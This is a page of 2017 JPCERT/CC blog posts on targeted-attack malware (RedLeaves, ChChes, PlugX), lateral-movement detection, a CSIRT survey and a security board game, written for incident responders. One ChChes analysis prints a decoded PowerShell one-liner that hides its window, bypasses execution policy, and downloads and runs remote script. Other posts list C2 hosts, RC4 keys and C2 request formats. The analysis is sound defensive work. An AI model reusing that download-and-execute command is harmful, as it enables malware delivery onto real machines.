28 posts categorized "#Trends in Japan" Feed

Jun 12, 2017

Research Report Released: Detecting Lateral Movement through Tracking Event Logs

JPCERT/CC has been seeing a number of APT intrusions where attackers compromise a host with malware then moving laterally inside network in order to steal confidential information. For lateral movement, attackers use tools downloaded on infected hosts and Windows commands.

In incident investigation, traces of tool and command executions are examined through logs. For an effective incident investigation, a reference about logs recorded upon tool and command executions would be useful.

JPCERT/CC conducted a research on typical tools and commands that attackers use after intrusion, and traces that they leave on Windows when executed. The result of the research is available on the report below:

Detecting Lateral Movement through Tracking Event Logs


This entry will introduce the overview of the report.

Intended Audience

This report is designed for technical staff including those responsible for initial investigation of incidents. Even without forensic software or knowledge in forensics, readers capable of examining event logs and registry entries can understand the contents.

Tools and Commands

44 typical tools and commands have been featured on the report (as described in Appendix A) based on what JPCERT/CC has seen in multiple incident cases. Since these tools and commands are used by multiple attackers, it is likely that analysts encounter some of them during incident investigation.

Need for Detailed Logs

Under the default configuration of Windows, many of these tools and commands are not logged. In order to investigate what attackers did during the incident, preparation for log retention is necessary. The report describes how to record tools and command executions by setting audit policy and installing Sysmon. Other than the methods explained in the report, it is also possible to collect such logs with audit applications or EDR products.

Way Forward

We are planning to examine other tools and commands as well. In addition to event logs and registry entries, we will also look into forensic artifacts such as MFT and journal files.

We welcome any feedback from you at global-cc [at] jpcert.or.jp.

-         Shusei Tomonaga

(Translated by Yukako Uchida)

Appendix A:  Examined Commands and Tools
Table 1: List of Examined Commands and Tools
Attacker's Purpose of Using ToolTool
Command execution PsExec
Obtaining password hash PWDump7
Quarks PwDump
Mail PassView
Remote Desktop PassView
Malicious communication relay
(Packet tunneling)
Fake wpad
Remote login RDP
Escalation to SYSTEM privilege MS14-058 Exploit
MS15-078 Exploit
Privilege escalation SDB UAC Bypass
Capturing domain administrator
rights account
MS14-068 Exploit
Golden Ticket (mimikatz)
Silver Ticket (mimikatz)
Capturing Active Directory database
(Creating a domain administrator user or
adding it to an administrator group)
Adding or deleting a user group net user
File sharing net use
net share
Deleting evidence sdelete
Deleting event log wevtutil
Obtaining account information csvde

May 12, 2017

Fact-finding Report on the Establishment and Operation of CSIRTs in Japan

Hello, this is Misaki Kimura from Watch and Warning Group.

JPCERT/CC conducted “Survey on the Establishment and Operation of CSIRTs in Japan” in the end of 2015. Following the Japanese report released in 2016, we have just released the English version of the report on JPCERT/CC website to share the outcomes with the information security community member all around the globe. Although the basis of social composition, culture, organizational constitution and so on may differ in each economy, we hope that this document will serve as a useful reference in terms of establishing a CSIRT or comparing the situation with those organizations in overseas.

Here in this blog will cover an executive summary of the report.

Background of the survey

Cyber attacks in recent years have become increasingly diverse in terms of their aims, targets, and TTPs (Tactics, Techniques, and Procedures) used that the impact can be large enough to shake the foundation of a business. One approach that is drawing attention is to establish a Computer Security Incident Response Team (CSIRT) that will serve as the linchpin of an organization to effectively handle security incidents. Cybersecurity Management Guidelines released from Ministry of Economy, Trade and Industry in December 2015 also referred to the need to establish CSIRTs, and this has been boosting the number of CSIRTs in Japan.

Cyber security communities, including the CSIRT community, are quite active in Japan. Nippon CSIRT Association (NCA) is the venue for local CSIRTs to come together for information sharing and joint activities, which has 232 member organizations (as of May 2017). JPCERT/CC conducted the survey targeting 66 organizations which belongs to NCA with an aim to assist those who wish to establish a new CSIRT by compiling the facts of CSIRT activities in various local organizations. The survey took place in December 2015, by means of a questionnaire and interviews, covering questions on organizational structure, scale, functions, policies and other various aspects of CSIRTs. Here below will introduce some interesting findings described in the report.

Items to be defined upon establishing a CSIRT

Business activities, scales, department structures, and anticipated risks differ according to the organization. For this reason, based on the results of the survey, the following six items were identified as matters that organizations should define upon establishing an internal CSIRT.

  • Scope of services provided by CSIRTs
  • Authority granted to CSIRTs
  • Deployment and members of CSIRTs
  • Point(s) of contact (PoC)
  • Reporting structure to effectively communicate the effects of CSIRT activities within the company
  • Periodic review of CSIRT activities

 Among these, I would like to highlight a few findings of the survey, which are considered noteworthy for organizations in overseas as followings;

Scope of services provided by CSIRTs

A CSIRT is required to receive, review and respond to various incident reports. Therefore, scope of its service such as contents, targets, range of responsibility, and so forth need to be considered.

NCA categorizes services offered by CSIRTs roughly into the following three types: reactive services, proactive services, and security quality control services. Of these three categories, the survey results identified the main services provided by CSIRTs in each category as follows;

 - Reactive services
  • More than 80% answered "Incident handling," "Issuing security alerts" "Log Analysis" and "Vulnerability handling" are provided to respond promptly in the event of an incident
 - Proactive services
  • More than 80% answered "Security warning announcement” is provided ahead of an incident
  • Nearly 70% answered "Provision of security related information" and "Intrusion detection" are provided to monitor any signs of an attack
 - Security quality control services
  • More than 70% answered "Conducting awareness raising activity", "Organizing educational programs" and "Consulting security related issues" as a service aimed at increasing the knowledge and skills to respond to cyber security

In some CSIRTs, all of these services are provided whereas some CSIRTs only provide one or two of those. It is not the variety of services they provide that matters to a CSIRT, but the capability to provide the kinds of services that the organization needs.

Also, the results of the survey showed that about 60% of the organizations has documented their service definition, and over 80% of the organizations has defined and documented their security policies that were approved by the management.

Authority granted to CSIRTs

In responding to security incidents, it is necessary as an organization to make appropriate and timely decisions. While CSIRTs are in a position to provide assistance to departments or persons for decision-making, it is important to understand about up to what point a CSIRT authority is granted.

For example, when a system needs to be suspended for risk avoidance in the event of an urgent incident, about 12% of the CSIRTs answered that they themselves have the authority to order the systems to be stopped, while 85% of the CSIRTs answered that they do not have the authority to order but are in a position that allows them to advise on the decision-making.

Figure 1. Authority of the CSIRT in the event of an incident

These results show that not so many organizations possess a strong authority in decision-making. However, some CSIRTs answered in the interview that they do not necessarily need to have such a powerful authority as to suspend systems in order to function effectively as a CSIRT. What matters to them is how effectively can the CSIRT collaborate with the management level to expedite accurate and rapid business decision.

Incident handling and Escalation

In case of an incident, an escalation process must be clearly defined, documented and officially approved to ensure that the incident is directed towards appropriate departments. The result shows that 74% of the CSIRTs have these processes implemented towards management, 52% implemented towards public relations department, and 50% implemented towards legal department. This indicates that CSIRTs are working closely with the management level in case of an incident, but more effort can be taken towards other related departments as well.

Information Sharing

It is essential for CSIRTs to share information and cooperates with other departments not only within the organization but also with other external partners such as other CSIRTs. Joining the information sharing framework allows the team to obtain and respond to a cyber threat in an effective way that it ultimately helps to protect the organization.

The result shows that all the survey respondents participate in more than one framework for information sharing. Specific frameworks that they join are WAISE (Watch and Warning Analysis Information for Security Experts - operated by JPCERT/CC), CCI (Counter Cyber Intelligence - operated by National Police Agency), working groups of Financials ISAC Japan, J-CSIP (Initiative for Cyber Security Information sharing Partnership of Japan - operated by Information-technology Promotion Agency, Japan) and so on.

When asked about the primary methods of expression used for sharing information, all the respondents selected text format. At the time when this survey was conducted (December 2015), some CSIRTs have already implemented STIX/TAXII, which is a globally recognized standard for incident information sharing. The protocol has been gradually accepted by an increasing number of CSIRTs over the two years after the survey.

Figure 2. Primary method(s) of expression used for sharing information

Information sharing and collaboration requires investment of time and technical resources, however, it benefits by far than negatives. Some of the respondents have said in the interview that information sharing with other CSIRTs enables them to acquire knowledge and exchange insights, which helps to keep up the motivation of their CSIRT members. The importance of building trust relationships with other CSIRTs was also pointed out by other interviewees. They spoke of participating NCA and other community activities had provided opportunities to reframe how they interact with their organizations.


The report points to six items that should be defined at the time of establishing an internal CSIRT. However, it does not necessarily mean that fulfilling all these conditions will ensure its activities live up to the expectations of the organization. For the sake of an internal CSIRT to function effectively, it is extremely important that the team shares information and cooperates with other departments within the organization and other CSIRTs. In addition, through day-to-day operations including exercises and training, as well as responding to actual incidents, we believe that newly established CSIRTs develop into a trusted and indispensable part of the organization.

The full report can be downloaded here:


- Misaki Kimura

May 02, 2017

Volatility Plugin for Detecting RedLeaves Malware

Our previous blog entry introduced details of RedLeaves, a type of malware used for targeted attacks. Since then, we’ve seen reports including those from US-CERT that Management Service Providers (MSPs) have been targeted [1] [2]. In the US-CERT report, some instances have been identified where RedLeaves malware has only been found within memory with no on-disk evidence because of the behavior of self-elimination after the infection.

To verify the infection without on-disk evidence, investigation needs to be conducted through memory dump or logs (e.g. proxy logs) stored in network devices.

This article introduces a tool to detect RedLeaves in the memory.

It is available on GitHub:

JPCERTCC/aa-tools · GitHub


Tool Details

The tool works as a plugin for The Volatility Framework (hereafter “Volatility”), a memory forensic tool. redleavesscan.py has the following functions:

  • redleavesscan: Detect RedLeaves in memory images
  • redleavesconfig: Detect RedLeaves in memory images and extract malware configuration

To run the tool, save redleavesscan.py in ”contrib/plugins/malware” folder within Volatility, and execute the following command:

$python vol.py [redleavesscan|redleavesconfig] –f <memory.image> ––profile=<profile>

Figure 1 shows an example output of redleavesscan. You can see the detected process name (Name), Process ID (PID) and the name of detected malware (Malware Name).

Figure 1: Output of redleavesscan

Figure 2 shows an example output of redleavesconfig. For details about RedLeaves configuration, please see our previous blog entry.

Figure 2: Output of redleavesconfig

In closing

It has been confirmed that the attacker group who uses RedLeaves also uses PlugX. To detect PlugX in memory, please use the Volatility plugin released by Airbus [3].

- Shusei Tomonaga

(Translated by Yukako Uchida)


[1] US-CERT: Intrusions Affecting Multiple Victims Across Multiple Sectors


[2] PwC: Operation Cloud Hopper


[3] Volatility plugin for PlugX


Apr 03, 2017

RedLeaves - Malware Based on Open Source RAT

Hi again, this is Shusei Tomonaga from the Analysis Center.

Since around October 2016, JPCERT/CC has been confirming information leakage and other damages caused by malware ‘RedLeaves’. It is a new type of malware which has been observed since 2016 in attachments to targeted emails.

This entry introduces details of RedLeaves and results of our analysis including its relation to PlugX, and a tool which is used as the base of this malware.

How RedLeaves runs

To have the RedLeaves injected into the process of Internet Explorer, the following steps will be taken (Figure1):

Figure 1: Flow of events until RedLeaves runs

Malware samples that JPCERT/CC has analysed create the following three files in %TEMP% folder and execute a legitimate application when executed.

  • A legitimate application (EXE file): a signed, executable file which reads a DLL file located in the same folder
  • A Loader (DLL file): a malicious DLL file which is loaded by the legitimate application
  • Encoded RedLeaves (DATA file): Encoded data which is read by the loader

When the legitimate application is executed, it loads the loader located in the same folder through DLL Hijacking (DLL preloading).

The loader, which is loaded in the legitimate application, reads and decodes the encoded RedLeaves and then executes it. The executed RedLeaves launches a process (Internet Explorer) depending on its configuration, and injects itself there. Then, RedLeaves starts running in the injected process. The following section explains the behaviour of the injected RedLeaves.

Behaviour of RedLeaves

RedLeaves communicates to specific sites by HTTP or its custom protocol and executes commands that are received. Figure 2 is the PE header of the injected RedLeaves. Strings such as “MZ” and “PE” are replaced with “0xFF 0xFF”.

Figure 2: Injected RedLeaves

The injected RedLeaves connects to command and control (C&C) servers by HTTP POST request or its custom protocol. Destination hosts and communication methods are specified in its configuration. Please refer to Appendix A for more information.

Below is an example of the HTTP POST request. Table B-1 and B-2 in Appendix B describe the format of the data sent.

POST /YJCk8Di/index.php
Connection: Keep-Alive
Accept: */*
Content-Length: 140


The data is encrypted with RC4 (the key is stored in its configuration) and contains the following:


The data received from the C&C servers contain commands. Depending on the received commands, RedLeaves executes the following functions (Please see Table B-3 in Appendix B for the details of received data):

  • Operation on files
  • Execute arbitrary shell commands
  • Configure communication methods
  • Send drive information
  • Send system information
  • Upload/download files
  • Screen capture
  • Execute proxy function

Base of RedLeaves’s Code

JPCERT/CC analysed RedLeaves and confirmed that its code has a lot in common with the source code of Trochilus[1], a type of RAT (Remote Administration Tool), which is available on Github. Figure 3 shows part of the code to process received data. It is clear that it processes the same data as listed in Table B-3 in Appendix B.

Figure 3: Part of Trochilus’s source code

It is presumed that RedLeaves is built on top of Trochilus’s source code, rather than from scratch.

Relation to PlugX

Comparing RedLeaves samples that JPCERT/CC has observed with PlugX, used by certain attacker groups in the past, we identified that similar code is used in some processes. Below are the sequence of instructions observed when the sample creates three files (a legitimate application, a loader and encoded RedLeaves or PlugX).

Figure 4: Comparison of file creation process

Furthermore, the process in which the loader decodes the encoded data (encoded RedLeaves or PlugX) is similar.

Figure 5: Comparison of file decode process

JPCERT/CC has also confirmed that some of the RedLeaves and PlugX samples that share the above code also communicate with common hosts. From this observation, it is presumed that the attacker group using RedLeaves may have used PlugX before.


RedLeaves is a new type of malware being observed since 2016 in attachments to targeted emails. Attacks using this malware may continue.

The hash values of the samples introduced here are listed in Appendix C. Some of the RedLeaves’ destination hosts that JPCERT/CC has confirmed are also listed in Appendix D. Please check your devices for any suspicious communication with such hosts.

- Shusei Tomonaga

(Translated by Yukako Uchida)


[1] Trochilus: A fast&free windows remote administration Tool


Appendix A: Configuration information
Table A: List of Configuration Information
0x000 Destination 1
0x040 Destination 2
0x080 Destination 3
0x0C0 Port number
0x1D0 Communication mode 1=TCP, 2=HTTP, 3=HTTPS, 4=TCP and HTTP
0x1E4 ID
0x500 Mutex
0x726 Injection Process
0x82A RC4 key Used for encrypting communication

RC4 key examples:

  • Lucky123
  • problems
  • 20161213
  • john1234
  • minasawa
Appendix B: Communicated data
Table B-1: Format of data sent through HTTP POST request
0x00 4 Length of data encrypted with RC4 (XOR encoded with the first 4 bytes of the RC4 key)
0x04 4 Server id (XOR encoded with the first 4 bytes of the RC4 key)
0x08 4 Fixed value
0x0C - Data encrypted with RC4

Table B-2: Format of data sent through its custom protocol
0x00 4 Random numerical value
0x04 4 Fixed value
0x08 4 Length
0x0C 4 Length of data encrypted with RC4 (XOR encoded with the first 4 bytes of the RC4 key)
0x10 4 Server id (XOR encoded with the first 4 bytes of the RC4 key)
0x14 4 Fixed value
0x18 - Data encrypted with RC4

Table B-3: Contents in received data
__msgid Numeric Command
__serial Numeric
__upt true, etc. Whether the command is executed by a thread
__data data Command parameter, etc.
Appendix C: SHA-256 hash value of the samples


  • 5262cb9791df50fafcb2fbd5f93226050b51efe400c2924eecba97b7ce437481


  • fcccc611730474775ff1cfd4c60481deef586f01191348b07d7a143d174a07b0
Appendix D: Communication destination host
  • mailowl.jkub.com
  • windowsupdates.itemdb.com
  • microsoftstores.itemdb.com

Mar 28, 2017

Board game on Cyber Security for Awareness Raising

Hi this is Sho Aoki from Watch and Warning Group.

Have you ever tried “game-based learning”?

Learning through games is useful since it is not only fun and easy, but also provides opportunities for thinking. It has been applied widely for educational purposes. In the area of cyber security as well, there are board games released from security vendors, and they have been conducted at schools and companies.

Today I would like to introduce “SEC WEREWOLF”.

Board game package

This board game was released by Japan Network Security Association (JNSA) [1], which is an NPO consisting of information security related organizations (mainly vendors) in Japan. They aim to raise awareness and provide information security solutions through various activities. One of their Working Group activities is to promote game-based learning, where this board game was developed. JPCERT/CC is also part of this Working Group.

“SEC WEREWOLF” is a board game based on a famous party game “Werewolf” (also known as “Mafia”), which is a communication type game between a group of “villagers” and “werewolves” who attack villagers. Players probe other players in an attempt to find enemies to eliminate. In “SEC WEREWOLF”, “villagers” work as “CSIRT members” in an organisation, while “werewolves” are the evils in the organisation who are engaged in corruption.


“Corrupt workers” have been stealing confidential information of their organisation with the assistance from “Black hat hackers” and gaining profit out of the information. However, the management finds out about the malicious act. “Corrupt workers”, who have been dissatisfied about the company’s treatment, try to put the blame on other employees and get them fired. A CSIRT is launched to retrieve a peaceful workplace and deal with issues with an aim to get rid of the corrupt workers.

HOW TO PLAY (Overview)

  1. Players pick up a role card to decide which team they belong to (CSIRT or attackers)
  2. All the players have a conversation without disclosing their roles to figure out who are the “corrupt workers”. “Corrupt workers” will also pretend to be a CSIRT member.
  3. Out of the conversation, each player points out the person who they think is the “corrupt worker” at the end of the turn. The person who has the higher number of votes is dismissed from the game. “Corrupt workers” secretly put the blame to a CSIRT member to get them out of the game.

Process 2 and 3 will be repeated until either of the following conditions is met:

a) All the “corrupt workers” are dismissed (CSIRT wins)

b) The number of remaining “corrupt workers” becomes the same as CSIRT members (“Corrupt workers” win)

Among the board games on cyber security, “SEC WEREWOLF” is relatively easy and suitable for beginners since there is not much prerequisite. This game presents the concept of cyber security and roles within CSIRTs (some role cards have different technical skills). Furthermore, it comes with post-game materials to learn about internal fraud by looking back on how a “corrupt worker” would behave and what CSIRT members needed to do about it. It is also a good material to learn what kind of personnel a CSIRT would need to have.

A model of internal fraud “the Fraud Triangle”, was proposed by D.R. Cressey, a criminologist from the US. It suggests that internal fraud can occur when the following three factors are present: Perceived unshareable financial need, Perceived opportunity and Rationalisation [2].

The post-game material provides a review of the game from the above three perspectives. Also, by looking back at the conversation that occurred during the game, the facilitator can guide participants to further discuss lessons learned from the game. Consequently, they can consider what sort of environment they need to establish/maintain to keep their workplace from such fraud.

Facilitator explaining about internal fraud based on the triangle

The Working Group designed this game for people who are not familiar with cyber security. It is often said that cyber security operations are difficult to draw attention from employees unless they are actually involved. Given the current situation where cyber security is a hot topic not only for organisations but also for individuals, it is important to raise security awareness to wide range of employees and users. This board game provides a good opportunity to familiarise the players with the concept of cyber security and the role of CSIRTs.

Role cards
Trial at JPCERT/CC

To fully utilise this game, it is also important to develop game facilitators. This role is important in presenting the knowhow in cyber security, how CSIRTs work and the components of CSIRT employees, besides just leading the game.

There is another board game about initial response to cyber incidents, which the Working Group is planning to release in the coming Fiscal Year. JPCERT/CC is willing to assist awareness raising activities through the Working Group.

- Sho Aoki

Translated by Yukako Uchida


[1] About JNSA


[2] The Fraud Triangle – The Association of Certified Fraud Examiners


Mar 01, 2017

Malware Leveraging PowerSploit

Hi again, this is Shusei Tomonaga from the Analysis Center.

In this article, I’d like to share some of our findings about ChChes (which we introduced in a previous article) that it leverages PowerSploit [1] – an open source tool – for infection.

Flow of ChChes Infection

The samples that JPCERT/CC confirmed this time infect machines by leveraging shortcut files. The flow of events from a victim opening the shortcut file until a machine is infected is illustrated in Figure 1.

Figure 1: Flow of events from opening a shortcut file to ChChes infection

When the shortcut file is opened, a file containing PowerShell script is downloaded from an external server and then executed. Next, ChChes code (version 1.6.4) contained in the PowerShell script is injected into powershell.exe and executed. The detailed behaviour in each phase is described below.

Behaviour after the shortcut file is opened

When the shortcut file is opened, the following PowerShell script contained in the file is executed.

powershell.exe -nop -w hidden -exec bypass  -enc JAAyAD0AJwAtAG4Abw ~omitted~

The PowerShell script after “-enc” is encoded. Below is the decoded script:

$2='-nop -w hidden -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString(''https://goo.gl/cpT1NW'')"';if([IntPtr]::Size -eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 $2";}else{iex "& powershell $2";}

By executing the above PowerShell script, a file containing PowerShell script is downloaded from a specified URL. The downloaded script is loaded in 32-bit powershell.exe (syswow64\WindowsPowerShell\v1.0\powershell) and executed. The reason why it is executed in 32-bit is considered to be that ChChes’s assembly code contained in the PowerShell script is not compatible with 64-bit environment.


Details of the Downloaded PowerShell Script

The downloaded PowerShell script is partially copied from PowerSploit (Invoke-Shellcode.ps1). PowerSploit is a tool to execute files and commands on a remote host and is used for penetration tests.

When the downloaded PowerShell script is executed, it creates document files based on data contained in the script, store the files in the %TEMP% folder and displays them.  We’ve seen different types of documents shown, including Excel and World documents.


Next, ChChes code contained in the PowerShell is injected into powershell.exe. The injected ChChes receives commands and modules from C2 servers as explained in the previous blog post. The PowerShell script and the injected ChChes are not saved as files in the infected machines, and ChChes itself only exists in the memory.

Figure 2 is a part of the PowerShell script.

Figure 2: Downloaded PowerShell script

Confirming Attack Traces through Event Logs

In environments where PowerShell v5.0 is installed (including Windows 10), the PowerShell script downloaded from remote servers are recorded in the event logs under the default settings (as Figure 3). When you investigate, please check if your logs contain such records.

Figure 3: Contents recorded in Event Logs

Such logs can also be obtained in PowerShell v4.0 (Default version of Windows 8.1) by enabling the following Group Policy.

  • Computer Configuration -> Administrative Templates -> Windows Components -> Windows PowerShell -> Turn on PowerShell Script Block Logging


It is now quite common that PowerShell script is leveraged for attacks. If your event log configuration is not set to record PowerShell execution, it is recommended that you revise the settings in preparation for such attacks. Also, if you are not using PowerShell, it is suggested to restrict the execution by using AppLocker, etc.

-Shusei Tomonaga

(Translated by Yukako Uchida)


[1] PowerSploit


Appendix A: SHA-256 Hash Values of the samples


  • 4ff6a97d06e2e843755be8697f3324be36e1ebeb280bb45724962ce4b6710297
  • 75ef6ea0265d2629c920a6a1c0d1dd91d3c0eda86445c7d67ebb9b30e35a2a9f
  • ae0dd5df608f581bbc075a88c48eedeb7ac566ff750e0a1baa7718379941db86
  • 646f837a9a5efbbdde474411bb48977bff37abfefaa4d04f9fb2a05a23c6d543
  • 3d5e3648653d74e2274bb531d1724a03c2c9941fdf14b8881143f0e34fe50f03
  • 9fbd69da93fbe0e8f57df3161db0b932d01b6593da86222fabef2be31899156d
  • 723983883fc336cb575875e4e3ff0f19bcf05a2250a44fb7c2395e564ad35d48
  • f45b183ef9404166173185b75f2f49f26b2e44b8b81c7caf6b1fc430f373b50b
  • 471b7edbd3b344d3e9f18fe61535de6077ea9fd8aa694221529a2ff86b06e856
  • aef976b95a8d0f0fdcfe1db73d5e0ace2c748627c1da645be711d15797c5df38
  • dbefa21d3391683d7cc29487e9cd065be188da228180ab501c34f0e3ec2d7dfc

Feb 21, 2017

PlugX + Poison Ivy = PlugIvy? - PlugX Integrating Poison Ivy’s Code -

Hi again, this is Shusei Tomonaga from the Analysis Center.

PlugX is a type of malware used for targeted attacks. We have introduced its new features in the blog article “Analysis of a Recent PlugX Variant - ‘P2P PlugX”. This article will discuss the following two structural changes observed in PlugX since April 2016:

  • the way API is called
  • the format of main module changed from PE to raw binary code

In this article, we will refer to PlugX observed after April 2016 as “New PlugX”, and older versions as “Old PlugX”.

Change in API call

When calling Windows API, Old PlugX used the API names as the key to load the corresponding library functions based on their addresses, which is a similar behaviour of calling APIs from the usual PE files. Therefore, Old PlugX code contains strings of the Windows API names.

In contrast, New PlugX does not contain any API name strings in its code, but instead possesses hash values of those API names. When calling an API, it obtains a list of APIs by using Windows functions and performs hash calculation one by one. The API name whose hash value matches the specified value is set as a key to call an API. This method is used when code without IAT (Import Address Table), meaning code other than PE format, call Windows APIs and is applied within shellcodes. This method is also used by some types of malware in order to conceal API names.

Code in Figure 1 shows how New PlugX is calling the Windows API ‘GetSystemInfo’. “86AA8709h” is the hash value for ‘GetSystemInfo’. Address resolution is performed using the hash value, and it jumps to GetSystemInfo’s address by “jmp eax”.

Figure 1: The function calling for GetSystemInfo

In principle, as long as a collision doesn’t occur, any hash algorithm can be used for hashing Windows API names. However, New PlugX uses the same hash algorithm as Poison Ivy. Figure 2 compares the hash function of New PlugX and Poison Ivy.

Figure 2: Windows API hash function for New PlugX (left) and Poison Ivy (right) (Parts that match are in light blue)

Change from PE format to raw code format

While Old PlugX stored the malware in PE format (DLL), New PlugX stores only its code and does not contain a header. A single PlugX sample (‘PlugX Data’ in Fig.3) contained both the encoded version of PlugX and code to decode it (‘Decoding code’ in Figure 3). When the sample is executed, the main module of PlugX (‘PlugX main module’ in Figure 3) is decoded, and it injects itself into another process to be executed in that process. The execution flow in Old PlugX is described in Figure 3.

Figure 3: Execution flow in Old PlugX

Figure 4 describes the execution flow in New PlugX. Like Old PlugX,  the main module, which is encoded, injects itself to a process and then it is executed in the process. The big difference is that the main module has been changed from PE format (DLL) in Old PlugX to raw code format in New PlugX.

Figure 4: Execution flow in New PlugX

Figure 5 shows the beginning of the decoded main module of PlugX. While Old PlugX had a header that is equivalent to one in a PE format, New PlugX begins with executable code and there is no PE header.

Figure 5: Old PlugX (above) and New PlugX (below) after decoding


Upon upgrading Old PlugX to New PlugX, the developer presumably referred to Poison Ivy which is also used for targeted attacks. As previously explained, New PlugX uses the same hash value for API call as Poison Ivy, but on top of that, the raw code format that New PlugX applies is also one of the features of Poison Ivy. The purpose of the upgrade is thought to complicate malware analysis so that malware can be used for a longer period of time.

We should keep an eye on PlugX because it has been evolving and still constantly used to conduct targeted attacks. At this stage, both New and Old PlugX are still being actively used.

We would like to recommend that you revisit our article since the demonstrated features there (configuration information, communication method, encode format etc.) remain the same in New PlugX.

Thanks for reading.

- Shusei Tomonaga

(Translated by Yukako Uchida)

Feb 15, 2017

ChChes – Malware that Communicates with C&C Servers Using Cookie Headers

Since around October 2016, JPCERT/CC has been confirming emails that are sent to Japanese organisations with a ZIP file attachment containing executable files. The targeted emails, which impersonate existing persons, are sent from free email address services available in Japan. Also, the executable files’ icons are disguised as Word documents. When the recipient executes the file, the machine is infected with malware called ChChes.

This blog article will introduce characteristics of ChChes, including its communication.

ZIP files attached to Targeted Emails

While some ZIP files attached to the targeted emails in this campaign contain executable files only, in some cases they also contain dummy Word documents. Below is the example of the latter case.

Figure 1: Example of an attached ZIP file

In the above example, two files with similar names are listed: a dummy Word document and an executable file whose icon is disguised as a Word document. By running this executable file, the machine will be infected with ChChes. JPCERT/CC has confirmed the executable files that have signatures of a specific code signing certificate. The dummy Word document is harmless, and its contents are existing online articles related to the file name “Why Donald Trump won”. The details of the code signing certificate is described in Appendix A.

Communication of ChChes

ChChes is a type of malware that communicates with specific sites using HTTP to receive commands and modules. There are only few functions that ChChes can execute by itself. This means it expands its functions by receiving modules from C&C servers and loading them on the memory.

The following is an example of HTTP GET request that ChChes sends. Sometimes, HEAD method is used instead of GET.

GET /X4iBJjp/MtD1xyoJMQ.htm HTTP/1.1
Cookie: uHa5=kXFGd3JqQHMfnMbi9mFZAJHCGja0ZLs%3D;KQ=yt%2Fe(omitted)
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: [user agent]
Host: [host name]
Connection: Keep-Alive
Cache-Control: no-cache

As you can see, the path for HTTP request takes /[random string].htm, however, the value for the Cookie field is not random but encrypted strings corresponding to actual data used in the communication with C&C servers. The value can be decrypted using the below Python script.

data_list = cookie_data.split(';')
dec = []
for i in range(len(data_list)):
    tmp = data_list[i]
    pos = tmp.find("=")
    key = tmp[0:pos]
    val = tmp[pos:]
    md5 = hashlib.md5()
    rc4key = md5.hexdigest()[8:24]
    rc4 = ARC4.new(rc4key)
print("[*] decoded: " + "".join(dec))

The following is the flow of communication after the machine is infected.

Figure 2: Flow of communication

The First Request

The value in the Cookie field of the HTTP request that ChChes first sends (Request 1) contains encrypted data starting with ‘A’. The following is an example of data sent.

Figure 3: Example of the first data sent

As indicated in Figure 3, the data which is sent contains information including computer name. The format of the encrypted data differs depending on ChChes’s version. The details are specified in Appendix B.

As a response to Request 1, ChChes receives strings of an ID identifying the infected machine from C&C servers (Response 1). The ID is contained in the Set-Cookie field as shown below.

Figure 4: Example response to the first request

Request for Modules and Commands

Next, ChChes sends an HTTP request to receive modules and commands (Request 2). At this point, the following data starting with ‘B’ is encrypted and contained in the Cookie field.

B[ID to identify the infected machine]

As a response to Request 2, encrypted modules and commands (Response 2) are sent from C&C servers. The following shows an example of received modules and commands after decryption.

Figure 5: Decrypted data of modules and commands received

Commands are sent either together with modules as a single data (as above), or by itself. Afterwards, execution results of the received command are sent to C&C servers, and it returns to the process to receive modules and commands. This way, by repeatedly receiving commands from C&C servers, the infected machines will be controlled remotely.

JPCERT/CC’s research has confirmed modules with the following functions, which are thought to be the bot function of ChChes.

  • Encrypt communication using AES
  • Execute shell commands
  • Upload files
  • Download files
  • Load and run DLLs
  • View tasks of bot commands

Especially, it was confirmed that the module that encrypts the communication with AES is received in a relatively early stage after the infection. With this feature, communication with C&C servers after this point will be encrypted in AES on top of the existing encryption method.


ChChes is a relatively new kind of malware which has been seen since around October 2016. As this may be continually used for targeted attacks, JPCERT/CC will keep an eye on ChChes and attack activities using the malware.

The hash values of the samples demonstrated here are described in Appendix C. The malware’s destination hosts that JPCERT/CC has confirmed are listed in Appendix D. We recommend that you check if your machines are communicating with such hosts.

Thanks for reading.

- Yu Nakamura

(Translated by Yukako Uchida)

Appendix A: Code signing certificate

The code signing certificate attached to some samples are the following:

$ openssl x509 -inform der -text -in mal.cer 
        Version: 3 (0x2)
        Serial Number:
    Signature Algorithm: sha1WithRSAEncryption
        Issuer: C=US, O=VeriSign, Inc., OU=VeriSign Trust Network, OU=Terms of use at https://www.verisign.com/rpa (c)10, CN=VeriSign Class 3 Code Signing 2010 CA
            Not Before: Aug  5 00:00:00 2011 GMT
            Not After : Aug  4 23:59:59 2012 GMT
        Subject: C=IT, ST=Italy, L=Milan, O=HT Srl, OU=Digital ID Class 3 - Microsoft Software Validation v2, CN=HT Srl
        Subject Public Key Info:
Figure 6: Code signing certificate
Appendix B: ChChes version

The graph below shows the relation between the version numbers of the ChChes samples that JPCERT/CC has confirmed and the compile times obtained from their PE headers.

Figure 7: Compile time for each ChChes version

The lists below describe encrypted data contained in the first HTTP request and explanation of the values for each ChChes version.

Table 1: Sending format of each version
1.0.0 A<a>*<b>?3618468394?<c>?<d>*<f>
1.2.2 A<a>*<b>?3618468394?<c>?<d>*<f>
1.3.0 A<a>*<b>?3618468394?<c>?<d>*<f>
1.3.2 A<a>*<b>?3618468394?<c>?<d>*<g>
1.4.0 A<a>*<b>?3618468394?<c>?<d>*<g>
1.4.1 A<a>*<b>?3618468394?<c>?<d> (<e>)*<g>
1.6.4 A<a>*<b>*<h>?3618468394?<c>?<d> (<e>)*<g>

Table 2: Description of <a> to <h>
<a> Computer name Variable Capital alphanumeric characters
<b> Process ID Variable Capital alphanumeric characters
<c> Path of a temp folder Variable %TEMP% value
<d> Malware version Variable e.g. 1.4.1
<e> Screen resolution Variable e.g. 1024x768
<f> explorer.exe version Variable e.g. 6.1.7601.17567
<g> kernel32.dll version Variable e.g. 6.1.7601.17514
<h> Part of MD5 value of SID 16 bytes e.g. 0345cb0454ab14d7
Appendix C: SHA-256 Hash value of the samples


  • 5961861d2b9f50d05055814e6bfd1c6291b30719f8a4d02d4cf80c2e87753fa1
  • ae6b45a92384f6e43672e617c53a44225e2944d66c1ffb074694526386074145
  • 2c71eb5c781daa43047fa6e3d85d51a061aa1dfa41feb338e0d4139a6dfd6910
  • 19aa5019f3c00211182b2a80dd9675721dac7cfb31d174436d3b8ec9f97d898b
  • 316e89d866d5c710530c2103f183d86c31e9a90d55e2ebc2dda94f112f3bdb6d
